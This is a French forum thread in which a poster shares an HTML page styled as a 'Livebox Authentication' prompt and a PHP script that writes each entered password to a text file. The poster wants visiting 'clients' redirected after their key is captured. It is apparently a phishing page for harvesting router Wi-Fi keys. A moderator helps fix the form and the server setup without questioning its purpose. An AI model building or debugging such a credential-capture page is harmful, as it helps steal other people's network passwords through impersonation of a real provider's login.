Formulaire html + php stockage des donnés dans un fichier txt

Fermé
formulairehtmlviapost Messages postés 2 Date d'inscription mercredi 13 février 2019 Statut Membre Dernière intervention 13 février 2019 - Modifié le 13 févr. 2019 à 23:14
formulairehtmlviapost Messages postés 2 Date d'inscription mercredi 13 février 2019 Statut Membre Dernière intervention 13 février 2019 - 13 févr. 2019 à 23:23
Salut, j'aurais besoin grandement d'aide sa fait un semaine après de la documentation des heures sur openclassrooms je n'arrive pas stocker mes données via un formulaire html

Ma premières pages :

nom : index.html
<!DOCTYPE html>

<html>

     <head>

       <meta charset="utf-8" />
       <link rel="stylesheet" href="style.css">
 <img src="images/live3.png"  />  
<title> Livebox Authentication </title> 


  </head>


<form action="logs.php" method="POST"> 

<P> <label> <h3> mot de passe  : </h3>  <input class="barre-mdp" type="text" name="cle" /> <label> </p>  

<p> <input type="submit" value="connexion" />  </p>  
   
</html>


le fichier logs.php

nom : logs.php
<?php
$cle = $_POST['cle'];
$fp = fopen("cle.txt","a+");
fputs($fp, "$cle");
fclose($fp);

?>


l'autre fichier cle.txt est vide est en chmod 777,
je voudrais quand un client rentre sa cle qu'elle soit stocker dans le fichier cle.txt sauf dans je rentre une clée sa ne marche pas et il y a redirection vers le logs.php et je voit les codes, je voudrais savoir comment faire pour que quand un client entre sa cle il voir redigirer vers une autre pages et que la cle soit bien engeristrer dans le fichier cle.txt

J'ai tout essayer sa ne marche donc je pense que le problèmes vien du fichier index.html et il manque une balise html au niveaux du <form></form> sauf personne n'a pu me répondre

merci d'avence aurevoir

EDIT : Ajout des balises de code
A voir également:

2 réponses

jordane45 Messages postés 38138 Date d'inscription mercredi 22 octobre 2003 Statut Modérateur Dernière intervention 17 avril 2024 4 649
13 févr. 2019 à 23:18
Bonjour,

déjà... il manque un </form> dans ton formulaire.

Ensuite...lorsque tu dis :
il y a redirection vers le logs.php et je voit les codes

Tu veux dire que tu peux lire le code php et qu'il n'est pas exécuté ??
Tu bosses en "local" sur ton ordi je suppose....
As tu au moins installé un serveur apache/php ou un logiciel pour l'émuler ? ( un logiciel comme wamp, xampp, easyphp, laragon.... ) ???
Car sans ça... impossible que ton code php ne soit compris...

Autre chose... lorsque tu auras installé ce "serveur" ... il faudra utiliser l'url en http://localhost/tonsite/tonfichier.php ...
Si ton url est du genre file://c:\tonfichier.php ... normal que ça ne marche pas.

pour finir,
vu que tu débutes... autant prendre de bonnes habitudes dès maintenant.
Pour ça, je t'invite à lire (et à appliquer) le contenu de ces deux liens :
- Concernant l'écriture de ton code php : https://forums.commentcamarche.net/forum/affich-37584947-php-gestion-des-erreurs-debogage-et-ecriture-du-code

- Concernant la façon de poster ton code sur le forum à l'avenir :
https://codes-sources.commentcamarche.net/faq/11288-les-balises-de-code



0
formulairehtmlviapost Messages postés 2 Date d'inscription mercredi 13 février 2019 Statut Membre Dernière intervention 13 février 2019
13 févr. 2019 à 23:23
Salut, oui exactement le code est php est afficher mais pas exécuter, ok je vais télécharge wampsever
0